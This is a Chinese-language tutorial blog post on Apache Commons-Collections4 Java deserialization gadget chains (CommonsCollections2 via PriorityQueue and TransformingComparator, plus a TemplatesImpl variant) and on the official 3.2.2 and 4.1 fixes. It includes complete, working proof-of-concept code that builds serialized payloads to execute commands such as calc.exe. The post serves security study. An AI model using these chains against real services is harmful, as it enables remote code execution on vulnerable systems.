Commons-Collections4与漏洞修复

今天继续来学P牛的Java安全漫谈的第16篇

在2015年底Commons-Collections反序列化被提出时,Apache Commons Collections有下面两个版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

groupIdartifactId都变了。前者是Commons Collections的老版本包,当前版本号是3.2.1;后者是官方在2013年推出的版本,当时版本号为4.0。

因为官方认为旧的commons-collections有一些架构和API设计上的问题,但为了修复这些问题,会产生大量不能向前兼容的改动。所以commocns-collections4并不认为是一个用来替换commons-collections的新版本,而是一个新的包,两者的命名空间并不冲突,可以共存于同一个项目中。

那么既然在3.2.1中存在反序列化,在4.0中是否也存在呢?

Commons-Collections4的改动

那么我们可以先试试老的利用链在commons-collections4中是否仍然能够使用。因为这两者可以共存,那么我们就可以将两个包安装到同一个项目中进行比较:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

在老的Gadget中所依赖的包都是org.apache.commons.sollections,新的包名是org.apache.commons.collections4

那么我们用CommonsCollections6举个栗子,可以直接骂代码复制过来,然后将所有的import org.apache.commons.collections.*改为import org.apache.commons.collections4.*

这里我们就会发现原来的LazyMap的decorate方法没了,那我们去看一下原来的decorate定义:

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

那我们回去到4中找一下有没有类似的,找一下就会发现有一个叫lazyMap的方法与它基本一样

1
2
3
public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
return new LazyMap(map, factory);
}

所以我们将Gadget中的LazyMap.decorate改成LazyMap.lazyMap就可以正常使用了,同理我们也可以依此修改CommonsCollections1、CommonsCollections3

PriorityQueue利用链

ysoserial为commons-collections4准备了两条新的利用链,那就是CommonsCollections2和CommonsCollections4。

commons-collections这个包之所以能攒出这么多利用链来,除了其使用量大,技术上更是因为其中包含了一些可以执行仍以方法的Transformer。所以,在commons-collections中找Gadaget的过程,可以简化为:找一条从Serializable#readObject()方法到Transformer#transform()方法的调用链

认识到这个之后我们再来看CommonsCollections2,其中有用到两个关键类:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

那这两个类有什么特点呢?

java.util.PriorityQueue是一个有自己的readObject()方法的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

org.apache.commons.collections4.comparators.TransformingComparator中有调用transform()方法的函数:

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

所以CommonsCollections2实际就是一条从PriorityQueueTransforming的利用链

我们来看一下他们是怎么连接起来的。PriorityQueue#readObject()中调用类heapify()方法,在heapify()中调用类siftDown()siftDown()中调用类siftDownUsingComparator()siftDownUsingComparator()中调用的comparator.compare(),于是就连接到上面的TransformingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

总结一下:

  • java.util.PriorityQueue是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树
  • 反序列化时为什么需要调用heapify()方法?为了反序列化后。需要恢复/保证这个结构的顺序
  • 排序是靠将大的元素下移实现的。siftDown()是将节点下移的函数,而comparator.compare()用来比较两个元素大小
  • TransformingComparator实现了java.util.Comparator接口,这个接口用于定义两个对象如何进行比较。siftDownUsingComparator()中就是使用这个接口的compare()方法比较树的节点。

按照这个思路我们开始编写POC,那么首先还是创建一个Transformer:

1
2
3
4
5
6
7
8
9
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

再创建一个TransformingComparator,传入我们的Transformer:

1
Comparator comparator = new TransformingComparator(transformerChain);

然后实例化PriorityQueue对象,第一个参数是初始化时的大小,至少需要2个元素才会触发排序和比较,所以是2;第二个参数是比较时的Comparator,传入前面实例化的comparator:

1
2
3
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

最后将真正的恶意Transformer设置上:

1
setFieldValue(transformerChain, "iTransformers", transformers);

完整的example如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",

new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

setFieldValue(transformerChain, "iTransformers", transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

改进PriorityQueue利用链

TemplatesImpl在Shiro中的利用这篇中提到过,用TemplatesImpl可以构造出无Transformer数组的利用链,我们尝试用同样的方法将这个利用链也改造一下

首先,还是创建TemplatesImpl对象:

1
2
3
4
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后创建一个人畜无害的InvokerTransformer对象,并用它实例化Comparator

1
2
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);

那还是像上一节一样实例化PriorityQueue,但是此时向队列里添加的元素就是我们前面创建的TemplatesImpl对象了:

1
2
3
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

因为我们这里无法再使用Transformer数组,所以也就不能用ConstantTransformer来初始化变量,需要接受外部传入的变量。而在Comparator#compare()时,队列里的元素需要作为参数传入transform()方法,这就是传给TemplatesImpl#newTransformer的参数。

最后,将toString方法改成恶意方法newTransformer

1
setFieldValue(transformer, "iMethodName", "newTransformer");

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.util.XMLAttributesIteratorImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import sun.text.resources.ga.FormatData_ga;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.example.test.testCalc.class.getName());
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

setFieldValue(transformer, "iMethodName", "newTransformer");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

我刚开始试这两个链的时候并没有弹出计算机,因为我一开始在我的配置文件里写的是4.0版本,但在之后用某一个Commons4的类的时候爆红又重新引入了一个4.1版本的没有在意,然后出现了一些奇怪的报错:

CC2_1.png

那么就引出我们下面要讲的修复方法

Commons-Collections反序列化官方修复方法

在了解了Commons-Collections4的几种Gadget原理后,我们来思考几个问题:

  • PriorityQueue的利用链是否支持在Commons-Collections 3中使用
  • Apache Commons Collections官方是如何修复反序列化漏洞的?

首先第一个问题是不能的。因为在这条链中有个关键类org.apache.commons.collections4.comparator.TransformingComparator,在4.0以前版本中是没有实现Serializable接口的,无法在序列化中使用。

第二个问题,官方在2015年底得知序列化相关的问题后,就在两个分支上同时发布了新版本4.1和3.2.2

先看看3.2.2,通过diff可以发现,新版代码中增加了一个方法FunctorUtils#checkUnsafeSerialization,他用于检测反序列化是否安全。如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。

这个检查在常⻅的危险Transformer类 (InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer等)的readObject⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:

1
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

CC2_2.png

再看4.1,修复⽅式⼜不⼀样。4.1里,这几个危险Transformer类不再实现Serializable接口,也就是说,他们几个彻底无法序列化和反序列化了。